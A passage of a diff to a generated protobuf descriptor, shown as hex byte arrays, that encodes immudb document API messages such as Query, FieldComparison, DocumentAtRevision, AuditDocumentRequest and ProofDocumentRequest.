0x65, - 0x12, 0x1e, 0x0a, 0x0a, 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x49, 0x64, 0x18, 0x02, - 0x20, 0x01, 0x28, 0x09, 0x52, 0x0a, 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x49, 0x64, - 0x12, 0x12, 0x0a, 0x04, 0x64, 0x65, 0x73, 0x63, 0x18, 0x03, 0x20, 0x01, 0x28, 0x08, 0x52, 0x04, - 0x64, 0x65, 0x73, 0x63, 0x12, 0x12, 0x0a, 0x04, 0x70, 0x61, 0x67, 0x65, 0x18, 0x04, 0x20, 0x01, - 0x28, 0x0d, 0x52, 0x04, 0x70, 0x61, 0x67, 0x65, 0x12, 0x1a, 0x0a, 0x08, 0x70, 0x61, 0x67, 0x65, - 0x53, 0x69, 0x7a, 0x65, 0x18, 0x05, 0x20, 0x01, 0x28, 0x0d, 0x52, 0x08, 0x70, 0x61, 0x67, 0x65, - 0x53, 0x69, 0x7a, 0x65, 0x12, 0x20, 0x0a, 0x0b, 0x6f, 0x6d, 0x69, 0x74, 0x50, 0x61, 0x79, 0x6c, - 0x6f, 0x61, 0x64, 0x18, 0x06, 0x20, 0x01, 0x28, 0x08, 0x52, 0x0b, 0x6f, 0x6d, 0x69, 0x74, 0x50, - 0x61, 0x79, 0x6c, 0x6f, 0x61, 0x64, 0x3a, 0x4a, 0x92, 0x41, 0x47, 0x0a, 0x45, 0xd2, 0x01, 0x0e, - 0x63, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x4e, 0x61, 0x6d, 0x65, 0xd2, 0x01, - 0x0a, 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x49, 0x64, 0xd2, 0x01, 0x04, 0x64, 0x65, - 0x73, 0x63, 0xd2, 0x01, 0x04, 0x70, 0x61, 0x67, 0x65, 0xd2, 0x01, 0x08, 0x70, 0x61, 0x67, 0x65, - 0x53, 0x69, 0x7a, 0x65, 0xd2, 0x01, 0x0b, 0x6f, 0x6d, 0x69, 0x74, 0x50, 0x61, 0x79, 0x6c, 0x6f, - 0x61, 0x64, 0x22, 0x6a, 0x0a, 0x15, 0x41, 0x75, 0x64, 0x69, 0x74, 0x44, 0x6f, 0x63, 0x75, 0x6d, - 0x65, 0x6e, 0x74, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x12, 0x3e, 0x0a, 0x09, 0x72, - 0x65, 0x76, 0x69, 0x73, 0x69, 0x6f, 0x6e, 0x73, 0x18, 0x01, 0x20, 0x03, 0x28, 0x0b, 0x32, 0x20, - 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x6d, 0x6f, 0x64, 0x65, 0x6c, 0x2e, 0x44, 0x6f, - 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x41, 0x74, 0x52, 0x65, 0x76, 0x69, 0x73, 0x69, 0x6f, 0x6e, - 0x52, 0x09, 0x72, 0x65, 0x76, 0x69, 0x73, 0x69, 0x6f, 0x6e, 0x73, 0x3a, 0x11, 0x92, 0x41, 0x0e, - 0x0a, 0x0c, 0xd2, 0x01, 0x09, 0x72, 0x65, 0x76, 0x69, 0x73, 0x69, 0x6f, 0x6e, 0x73, 0x22, 0x8d, - 0x02, 0x0a, 0x14, 0x50, 0x72, 0x6f, 0x6f, 0x66, 0x44, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, - 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x12, 0x26, 0x0a, 0x0e, 0x63, 0x6f, 0x6c, 0x6c, 0x65, - 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x4e, 0x61, 0x6d, 0x65, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, - 0x0e, 0x63, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x4e, 0x61, 0x6d, 0x65, 0x12, - 0x1e, 0x0a, 0x0a, 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x49, 0x64, 0x18, 0x02, 0x20, - 0x01, 0x28, 0x09, 0x52, 0x0a, 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x49, 0x64, 0x12, - 0x24, 0x0a, 0x0d, 0x74, 0x72, 0x61, 0x6e, 0x73, 0x61, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x49, 0x64, - 0x18, 0x03, 0x20, 0x01, 0x28, 0x04, 0x52, 0x0d, 0x74, 0x72, 0x61, 0x6e, 0x73, 0x61, 0x63, 0x74, - 0x69, 0x6f, 0x6e, 0x49, 0x64, 0x12, 0x38, 0x0a, 0x17, 0x70, 0x72, 0x6f, 0x6f, 0x66, 0x53, 0x69, - 0x6e, 0x63, 0x65, 0x54, 0x72, 0x61, 0x6e, 0x73, 0x61, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x49, 0x64, - 0x18, 0x04, 0x20, 0x01, 0x28, 0x04, 0x52, 0x17, 0x70, 0x72, 0x6f, 0x6f, 0x66, 0x53, 0x69, 0x6e, - 0x63, 0x65, 0x54, 0x72, 0x61, 0x6e, 0x73, 0x61, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x49, 0x64, 0x3a, - 0x4d, 0x92, 0x41, 0x4a, 0x0a, 0x48, 0xd2, 0x01, 0x0e, 0x63, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, - 0x69, 0x6f, 0x6e, 0x4e, 0x61, 0x6d, 0x65, 0xd2, 0x01, 0x0a, 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, - 0x6e, 0x74, 0x49, 0x64, 0xd2, 0x01, 0x0d, 0x74, 0x72, 0x61, 0x6e, 0x73, 0x61, 0x63, 0x74, 0x69, - 0x6f, 0x6e, 0x49, 0x64, 0xd2, 0x01, 0x17, 0x70, 0x72, 0x6f, 0x6f, 0x66, 0x53, 0x69, 0x6e, 0x63, - 0x65, 0x54, 0x72, 0x61, 0x6e, 0x73, 0x61, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x49, 0x64, 0x22, 0xce, - 0x02, 0x0a, 0x15, 0x50, 0x72, 0x6f, 0x6f, 0x66, 0x44, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, - 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x12, 0x1a, 0x0a, 0x08, 0x64, 0x61, 0x74, 0x61, - 0x62, 0x61, 0x73, 0x65, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x08, 0x64, 0x61, 0x74, 0x61, - 0x62, 0x61, 0x73, 0x65, 0x12, 0x22, 0x0a, 0x0c, 0x63, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, - 0x6f, 0x6e, 0x49, 0x64, 0x18, 0x02, 0x20, 0x01, 0x28, 0x0d, 0x52, 0x0c, 0x63, 0x6f, 0x6c, 0x6c, - 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x49, 0x64, 0x12, 0x30, 0x0a, 0x13, 0x64, 0x6f, 0x63, 0x75, - 0x6d, 0x65, 0x6e, 0x74, 0x49, 0x64, 0x46, 0x69, 0x65, 0x6c, 0x64, 0x4e, 0x61, 0x6d, 0x65, 0x18, - 0x03, 0x20, 0x01, 0x28, 0x09, 0x52, 0x13, 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x49, - 0x64, 0x46, 0x69, 0x65, 0x6c, 0x64, 0x4e, 0x61, 0x6d, 0x65, 0x12, 0x28, 0x0a, 0x0f, 0x65, 0x6e, - 0x63, 0x6f, 0x64, 0x65, 0x64, 0x44, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x18, 0x04, 0x20, - 0x01, 0x28, 0x0c, 0x52, 0x0f, 0x65, 0x6e, 0x63, 0x6f, 0x64, 0x65, 0x64, 0x44, 0x6f, 0x63, 0x75, - 0x6d, 0x65, 0x6e, 0x74, 0x12, 0x41, 0x0a, 0x0c, 0x76, 0x65, 0x72, 0x69, 0x66, 0x69, 0x61, 0x62, - 0x6c, 0x65, 0x54, 0x78, 0x18, 0x05, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x1d, 0x2e, 0x69, 0x6d, 0x6d, - 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x56, 0x65, 0x72, 0x69, 0x66, - 0x69, 0x61, 0x62, 0x6c, 0x65, 0x54, 0x78, 0x56, 0x32, 0x52, 0x0c, 0x76, 0x65, 0x72, 0x69, 0x66, - 0x69, 0x61, 0x62, 0x6c, 0x65, 0x54, 0x78, 0x3a, 0x56, 0x92, 0x41, 0x53, 0x0a, 0x51, 0xd2, 0x01, - 0x08, 0x64, 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, 0xd2, 0x01, 0x0c, 0x63, 0x6f, 0x6c, 0x6c, - 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x49, 0x64, 0xd2, 0x01, 0x13, 0x64, 0x6f, 0x63, 0x75, 0x6d, - 0x65, 0x6e, 0x74, 0x49, 0x64, 0x46, 0x69, 0x65, 0x6c, 0x64, 0x4e, 0x61, 0x6d, 0x65, 0xd2, 0x01, + 0x70, 0x61, 0x67, 0x65, 0xd2, 0x01, 0x08, 0x70, 0x61, 0x67, 0x65, 0x53, 0x69, 0x7a, 0x65, 0x22, + 0xe3, 0x01, 0x0a, 0x05, 0x51, 0x75, 0x65, 0x72, 0x79, 0x12, 0x26, 0x0a, 0x0e, 0x63, 0x6f, 0x6c, + 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x4e, 0x61, 0x6d, 0x65, 0x18, 0x01, 0x20, 0x01, 0x28, + 0x09, 0x52, 0x0e, 0x63, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x4e, 0x61, 0x6d, + 0x65, 0x12, 0x3f, 0x0a, 0x0b, 0x65, 0x78, 0x70, 0x72, 0x65, 0x73, 0x73, 0x69, 0x6f, 0x6e, 0x73, + 0x18, 0x02, 0x20, 0x03, 0x28, 0x0b, 0x32, 0x1d, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, + 0x6d, 0x6f, 0x64, 0x65, 0x6c, 0x2e, 0x51, 0x75, 0x65, 0x72, 0x79, 0x45, 0x78, 0x70, 0x72, 0x65, + 0x73, 0x73, 0x69, 0x6f, 0x6e, 0x52, 0x0b, 0x65, 0x78, 0x70, 0x72, 0x65, 0x73, 0x73, 0x69, 0x6f, + 0x6e, 0x73, 0x12, 0x35, 0x0a, 0x07, 0x6f, 0x72, 0x64, 0x65, 0x72, 0x42, 0x79, 0x18, 0x03, 0x20, + 0x03, 0x28, 0x0b, 0x32, 0x1b, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x6d, 0x6f, 0x64, + 0x65, 0x6c, 0x2e, 0x4f, 0x72, 0x64, 0x65, 0x72, 0x42, 0x79, 0x43, 0x6c, 0x61, 0x75, 0x73, 0x65, + 0x52, 0x07, 0x6f, 0x72, 0x64, 0x65, 0x72, 0x42, 0x79, 0x12, 0x14, 0x0a, 0x05, 0x6c, 0x69, 0x6d, + 0x69, 0x74, 0x18, 0x04, 0x20, 0x01, 0x28, 0x0d, 0x52, 0x05, 0x6c, 0x69, 0x6d, 0x69, 0x74, 0x3a, + 0x24, 0x92, 0x41, 0x21, 0x0a, 0x1f, 0xd2, 0x01, 0x0e, 0x63, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, + 0x69, 0x6f, 0x6e, 0x4e, 0x61, 0x6d, 0x65, 0xd2, 0x01, 0x0b, 0x65, 0x78, 0x70, 0x72, 0x65, 0x73, + 0x73, 0x69, 0x6f, 0x6e, 0x73, 0x22, 0x76, 0x0a, 0x0f, 0x51, 0x75, 0x65, 0x72, 0x79, 0x45, 0x78, + 0x70, 0x72, 0x65, 0x73, 0x73, 0x69, 0x6f, 0x6e, 0x12, 0x49, 0x0a, 0x10, 0x66, 0x69, 0x65, 0x6c, + 0x64, 0x43, 0x6f, 0x6d, 0x70, 0x61, 0x72, 0x69, 0x73, 0x6f, 0x6e, 0x73, 0x18, 0x01, 0x20, 0x03, + 0x28, 0x0b, 0x32, 0x1d, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x6d, 0x6f, 0x64, 0x65, + 0x6c, 0x2e, 0x46, 0x69, 0x65, 0x6c, 0x64, 0x43, 0x6f, 0x6d, 0x70, 0x61, 0x72, 0x69, 0x73, 0x6f, + 0x6e, 0x52, 0x10, 0x66, 0x69, 0x65, 0x6c, 0x64, 0x43, 0x6f, 0x6d, 0x70, 0x61, 0x72, 0x69, 0x73, + 0x6f, 0x6e, 0x73, 0x3a, 0x18, 0x92, 0x41, 0x15, 0x0a, 0x13, 0xd2, 0x01, 0x10, 0x66, 0x69, 0x65, + 0x6c, 0x64, 0x43, 0x6f, 0x6d, 0x70, 0x61, 0x72, 0x69, 0x73, 0x6f, 0x6e, 0x73, 0x22, 0xb5, 0x01, + 0x0a, 0x0f, 0x46, 0x69, 0x65, 0x6c, 0x64, 0x43, 0x6f, 0x6d, 0x70, 0x61, 0x72, 0x69, 0x73, 0x6f, + 0x6e, 0x12, 0x14, 0x0a, 0x05, 0x66, 0x69, 0x65, 0x6c, 0x64, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, + 0x52, 0x05, 0x66, 0x69, 0x65, 0x6c, 0x64, 0x12, 0x3c, 0x0a, 0x08, 0x6f, 0x70, 0x65, 0x72, 0x61, + 0x74, 0x6f, 0x72, 0x18, 0x02, 0x20, 0x01, 0x28, 0x0e, 0x32, 0x20, 0x2e, 0x69, 0x6d, 0x6d, 0x75, + 0x64, 0x62, 0x2e, 0x6d, 0x6f, 0x64, 0x65, 0x6c, 0x2e, 0x43, 0x6f, 0x6d, 0x70, 0x61, 0x72, 0x69, + 0x73, 0x6f, 0x6e, 0x4f, 0x70, 0x65, 0x72, 0x61, 0x74, 0x6f, 0x72, 0x52, 0x08, 0x6f, 0x70, 0x65, + 0x72, 0x61, 0x74, 0x6f, 0x72, 0x12, 0x2c, 0x0a, 0x05, 0x76, 0x61, 0x6c, 0x75, 0x65, 0x18, 0x03, + 0x20, 0x01, 0x28, 0x0b, 0x32, 0x16, 0x2e, 0x67, 0x6f, 0x6f, 0x67, 0x6c, 0x65, 0x2e, 0x70, 0x72, + 0x6f, 0x74, 0x6f, 0x62, 0x75, 0x66, 0x2e, 0x56, 0x61, 0x6c, 0x75, 0x65, 0x52, 0x05, 0x76, 0x61, + 0x6c, 0x75, 0x65, 0x3a, 0x20, 0x92, 0x41, 0x1d, 0x0a, 0x1b, 0xd2, 0x01, 0x05, 0x66, 0x69, 0x65, + 0x6c, 0x64, 0xd2, 0x01, 0x08, 0x6f, 0x70, 0x65, 0x72, 0x61, 0x74, 0x6f, 0x72, 0xd2, 0x01, 0x05, + 0x76, 0x61, 0x6c, 0x75, 0x65, 0x22, 0x4f, 0x0a, 0x0d, 0x4f, 0x72, 0x64, 0x65, 0x72, 0x42, 0x79, + 0x43, 0x6c, 0x61, 0x75, 0x73, 0x65, 0x12, 0x14, 0x0a, 0x05, 0x66, 0x69, 0x65, 0x6c, 0x64, 0x18, + 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x05, 0x66, 0x69, 0x65, 0x6c, 0x64, 0x12, 0x12, 0x0a, 0x04, + 0x64, 0x65, 0x73, 0x63, 0x18, 0x02, 0x20, 0x01, 0x28, 0x08, 0x52, 0x04, 0x64, 0x65, 0x73, 0x63, + 0x3a, 0x14, 0x92, 0x41, 0x11, 0x0a, 0x0f, 0xd2, 0x01, 0x05, 0x66, 0x69, 0x65, 0x6c, 0x64, 0xd2, + 0x01, 0x04, 0x64, 0x65, 0x73, 0x63, 0x22, 0x93, 0x01, 0x0a, 0x17, 0x53, 0x65, 0x61, 0x72, 0x63, + 0x68, 0x44, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x73, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, + 0x73, 0x65, 0x12, 0x1a, 0x0a, 0x08, 0x73, 0x65, 0x61, 0x72, 0x63, 0x68, 0x49, 0x64, 0x18, 0x01, + 0x20, 0x01, 0x28, 0x09, 0x52, 0x08, 0x73, 0x65, 0x61, 0x72, 0x63, 0x68, 0x49, 0x64, 0x12, 0x3e, + 0x0a, 0x09, 0x72, 0x65, 0x76, 0x69, 0x73, 0x69, 0x6f, 0x6e, 0x73, 0x18, 0x02, 0x20, 0x03, 0x28, + 0x0b, 0x32, 0x20, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x6d, 0x6f, 0x64, 0x65, 0x6c, + 0x2e, 0x44, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x41, 0x74, 0x52, 0x65, 0x76, 0x69, 0x73, + 0x69, 0x6f, 0x6e, 0x52, 0x09, 0x72, 0x65, 0x76, 0x69, 0x73, 0x69, 0x6f, 0x6e, 0x73, 0x3a, 0x1c, + 0x92, 0x41, 0x19, 0x0a, 0x17, 0xd2, 0x01, 0x08, 0x73, 0x65, 0x61, 0x72, 0x63, 0x68, 0x49, 0x64, + 0xd2, 0x01, 0x09, 0x72, 0x65, 0x76, 0x69, 0x73, 0x69, 0x6f, 0x6e, 0x73, 0x22, 0xc2, 0x02, 0x0a, + 0x12, 0x44, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x41, 0x74, 0x52, 0x65, 0x76, 0x69, 0x73, + 0x69, 0x6f, 0x6e, 0x12, 0x24, 0x0a, 0x0d, 0x74, 0x72, 0x61, 0x6e, 0x73, 0x61, 0x63, 0x74, 0x69, + 0x6f, 0x6e, 0x49, 0x64, 0x18, 0x01, 0x20, 0x01, 0x28, 0x04, 0x52, 0x0d, 0x74, 0x72, 0x61, 0x6e, + 0x73, 0x61, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x49, 0x64, 0x12, 0x1e, 0x0a, 0x0a, 0x64, 0x6f, 0x63, + 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x49, 0x64, 0x18, 0x02, 0x20, 0x01, 0x28, 0x09, 0x52, 0x0a, 0x64, + 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x49, 0x64, 0x12, 0x1a, 0x0a, 0x08, 0x72, 0x65, 0x76, + 0x69, 0x73, 0x69, 0x6f, 0x6e, 0x18, 0x03, 0x20, 0x01, 0x28, 0x04, 0x52, 0x08, 0x72, 0x65, 0x76, + 0x69, 0x73, 0x69, 0x6f, 0x6e, 0x12, 0x3a, 0x0a, 0x08, 0x6d, 0x65, 0x74, 0x61, 0x64, 0x61, 0x74, + 0x61, 0x18, 0x04, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x1e, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, + 0x2e, 0x6d, 0x6f, 0x64, 0x65, 0x6c, 0x2e, 0x44, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x4d, + 0x65, 0x74, 0x61, 0x64, 0x61, 0x74, 0x61, 0x52, 0x08, 0x6d, 0x65, 0x74, 0x61, 0x64, 0x61, 0x74, + 0x61, 0x12, 0x33, 0x0a, 0x08, 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x18, 0x05, 0x20, + 0x01, 0x28, 0x0b, 0x32, 0x17, 0x2e, 0x67, 0x6f, 0x6f, 0x67, 0x6c, 0x65, 0x2e, 0x70, 0x72, 0x6f, + 0x74, 0x6f, 0x62, 0x75, 0x66, 0x2e, 0x53, 0x74, 0x72, 0x75, 0x63, 0x74, 0x52, 0x08, 0x64, 0x6f, + 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x12, 0x1a, 0x0a, 0x08, 0x75, 0x73, 0x65, 0x72, 0x6e, 0x61, + 0x6d, 0x65, 0x18, 0x06, 0x20, 0x01, 0x28, 0x09, 0x52, 0x08, 0x75, 0x73, 0x65, 0x72, 0x6e, 0x61, + 0x6d, 0x65, 0x12, 0x0e, 0x0a, 0x02, 0x74, 0x73, 0x18, 0x07, 0x20, 0x01, 0x28, 0x03, 0x52, 0x02, + 0x74, 0x73, 0x3a, 0x2d, 0x92, 0x41, 0x2a, 0x0a, 0x28, 0xd2, 0x01, 0x0d, 0x74, 0x72, 0x61, 0x6e, + 0x73, 0x61, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x49, 0x64, 0xd2, 0x01, 0x0a, 0x64, 0x6f, 0x63, 0x75, + 0x6d, 0x65, 0x6e, 0x74, 0x49, 0x64, 0xd2, 0x01, 0x08, 0x72, 0x65, 0x76, 0x69, 0x73, 0x69, 0x6f, + 0x6e, 0x22, 0x3d, 0x0a, 0x10, 0x44, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x4d, 0x65, 0x74, + 0x61, 0x64, 0x61, 0x74, 0x61, 0x12, 0x18, 0x0a, 0x07, 0x64, 0x65, 0x6c, 0x65, 0x74, 0x65, 0x64, + 0x18, 0x01, 0x20, 0x01, 0x28, 0x08, 0x52, 0x07, 0x64, 0x65, 0x6c, 0x65, 0x74, 0x65, 0x64, 0x3a, + 0x0f, 0x92, 0x41, 0x0c, 0x0a, 0x0a, 0xd2, 0x01, 0x07, 0x64, 0x65, 0x6c, 0x65, 0x74, 0x65, 0x64, + 0x22, 0x51, 0x0a, 0x15, 0x43, 0x6f, 0x75, 0x6e, 0x74, 0x44, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, + 0x74, 0x73, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x12, 0x29, 0x0a, 0x05, 0x71, 0x75, 0x65, + 0x72, 0x79, 0x18, 0x01, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x13, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, + 0x62, 0x2e, 0x6d, 0x6f, 0x64, 0x65, 0x6c, 0x2e, 0x51, 0x75, 0x65, 0x72, 0x79, 0x52, 0x05, 0x71, + 0x75, 0x65, 0x72, 0x79, 0x3a, 0x0d, 0x92, 0x41, 0x0a, 0x0a, 0x08, 0xd2, 0x01, 0x05, 0x71, 0x75, + 0x65, 0x72, 0x79, 0x22, 0x3d, 0x0a, 0x16, 0x43, 0x6f, 0x75, 0x6e, 0x74, 0x44, 0x6f, 0x63, 0x75, + 0x6d, 0x65, 0x6e, 0x74, 0x73, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x12, 0x14, 0x0a, + 0x05, 0x63, 0x6f, 0x75, 0x6e, 0x74, 0x18, 0x01, 0x20, 0x01, 0x28, 0x03, 0x52, 0x05, 0x63, 0x6f, + 0x75, 0x6e, 0x74, 0x3a, 0x0d, 0x92, 0x41, 0x0a, 0x0a, 0x08, 0xd2, 0x01, 0x05, 0x63, 0x6f, 0x75, + 0x6e, 0x74, 0x22, 0x90, 0x02, 0x0a, 0x14, 0x41, 0x75, 0x64, 0x69, 0x74, 0x44, 0x6f, 0x63, 0x75, + 0x6d, 0x65, 0x6e, 0x74, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x12, 0x26, 0x0a, 0x0e, 0x63, + 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x4e, 0x61, 0x6d, 0x65, 0x18, 0x01, 0x20, + 0x01, 0x28, 0x09, 0x52, 0x0e, 0x63, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x4e, + 0x61, 0x6d, 0x65, 0x12, 0x1e, 0x0a, 0x0a, 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x49, + 0x64, 0x18, 0x02, 0x20, 0x01, 0x28, 0x09, 0x52, 0x0a, 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, + 0x74, 0x49, 0x64, 0x12, 0x12, 0x0a, 0x04, 0x64, 0x65, 0x73, 0x63, 0x18, 0x03, 0x20, 0x01, 0x28, + 0x08, 0x52, 0x04, 0x64, 0x65, 0x73, 0x63, 0x12, 0x12, 0x0a, 0x04, 0x70, 0x61, 0x67, 0x65, 0x18, + 0x04, 0x20, 0x01, 0x28, 0x0d, 0x52, 0x04, 0x70, 0x61, 0x67, 0x65, 0x12, 0x1a, 0x0a, 0x08, 0x70, + 0x61, 0x67, 0x65, 0x53, 0x69, 0x7a, 0x65, 0x18, 0x05, 0x20, 0x01, 0x28, 0x0d, 0x52, 0x08, 0x70, + 0x61, 0x67, 0x65, 0x53, 0x69, 0x7a, 0x65, 0x12, 0x20, 0x0a, 0x0b, 0x6f, 0x6d, 0x69, 0x74, 0x50, + 0x61, 0x79, 0x6c, 0x6f, 0x61, 0x64, 0x18, 0x06, 0x20, 0x01, 0x28, 0x08, 0x52, 0x0b, 0x6f, 0x6d, + 0x69, 0x74, 0x50, 0x61, 0x79, 0x6c, 0x6f, 0x61, 0x64, 0x3a, 0x4a, 0x92, 0x41, 0x47, 0x0a, 0x45, + 0xd2, 0x01, 0x0e, 0x63, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x4e, 0x61, 0x6d, + 0x65, 0xd2, 0x01, 0x0a, 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x49, 0x64, 0xd2, 0x01, + 0x04, 0x64, 0x65, 0x73, 0x63, 0xd2, 0x01, 0x04, 0x70, 0x61, 0x67, 0x65, 0xd2, 0x01, 0x08, 0x70, + 0x61, 0x67, 0x65, 0x53, 0x69, 0x7a, 0x65, 0xd2, 0x01, 0x0b, 0x6f, 0x6d, 0x69, 0x74, 0x50, 0x61, + 0x79, 0x6c, 0x6f, 0x61, 0x64, 0x22, 0x6a, 0x0a, 0x15, 0x41, 0x75, 0x64, 0x69, 0x74, 0x44, 0x6f, + 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x12, 0x3e, + 0x0a, 0x09, 0x72, 0x65, 0x76, 0x69, 0x73, 0x69, 0x6f, 0x6e, 0x73, 0x18, 0x01, 0x20, 0x03, 0x28, + 0x0b, 0x32, 0x20, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x6d, 0x6f, 0x64, 0x65, 0x6c, + 0x2e, 0x44, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x41, 0x74, 0x52, 0x65, 0x76, 0x69, 0x73, + 0x69, 0x6f, 0x6e, 0x52, 0x09, 0x72, 0x65, 0x76, 0x69, 0x73, 0x69, 0x6f, 0x6e, 0x73, 0x3a, 0x11, + 0x92, 0x41, 0x0e, 0x0a, 0x0c, 0xd2, 0x01, 0x09, 0x72, 0x65, 0x76, 0x69, 0x73, 0x69, 0x6f, 0x6e, + 0x73, 0x22, 0x8d, 0x02, 0x0a, 0x14, 0x50, 0x72, 0x6f, 0x6f, 0x66, 0x44, 0x6f, 0x63, 0x75, 0x6d, + 0x65, 0x6e, 0x74, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x12, 0x26, 0x0a, 0x0e, 0x63, 0x6f, + 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x4e, 0x61, 0x6d, 0x65, 0x18, 0x01, 0x20, 0x01, + 0x28, 0x09, 0x52, 0x0e, 0x63, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x4e, 0x61, + 0x6d, 0x65, 0x12, 0x1e, 0x0a, 0x0a, 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x49, 0x64, + 0x18, 0x02, 0x20, 0x01, 0x28, 0x09, 0x52, 0x0a, 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, + 0x49, 0x64, 0x12, 0x24, 0x0a, 0x0d, 0x74, 0x72, 0x61, 0x6e, 0x73, 0x61, 0x63, 0x74, 0x69, 0x6f, + 0x6e, 0x49, 0x64, 0x18, 0x03, 0x20, 0x01, 0x28, 0x04, 0x52, 0x0d, 0x74, 0x72, 0x61, 0x6e, 0x73, + 0x61, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x49, 0x64, 0x12, 0x38, 0x0a, 0x17, 0x70, 0x72, 0x6f, 0x6f, + 0x66, 0x53, 0x69, 0x6e, 0x63, 0x65, 0x54, 0x72, 0x61, 0x6e, 0x73, 0x61, 0x63, 0x74, 0x69, 0x6f, + 0x6e, 0x49, 0x64, 0x18, 0x04, 0x20, 0x01, 0x28, 0x04, 0x52, 0x17, 0x70, 0x72, 0x6f, 0x6f, 0x66, + 0x53, 0x69, 0x6e, 0x63, 0x65, 0x54, 0x72, 0x61, 0x6e, 0x73, 0x61, 0x63, 0x74, 0x69, 0x6f, 0x6e, + 0x49, 0x64, 0x3a, 0x4d, 0x92, 0x41, 0x4a, 0x0a, 0x48, 0xd2, 0x01, 0x0e, 0x63, 0x6f, 0x6c, 0x6c, + 0x65, 0x63, 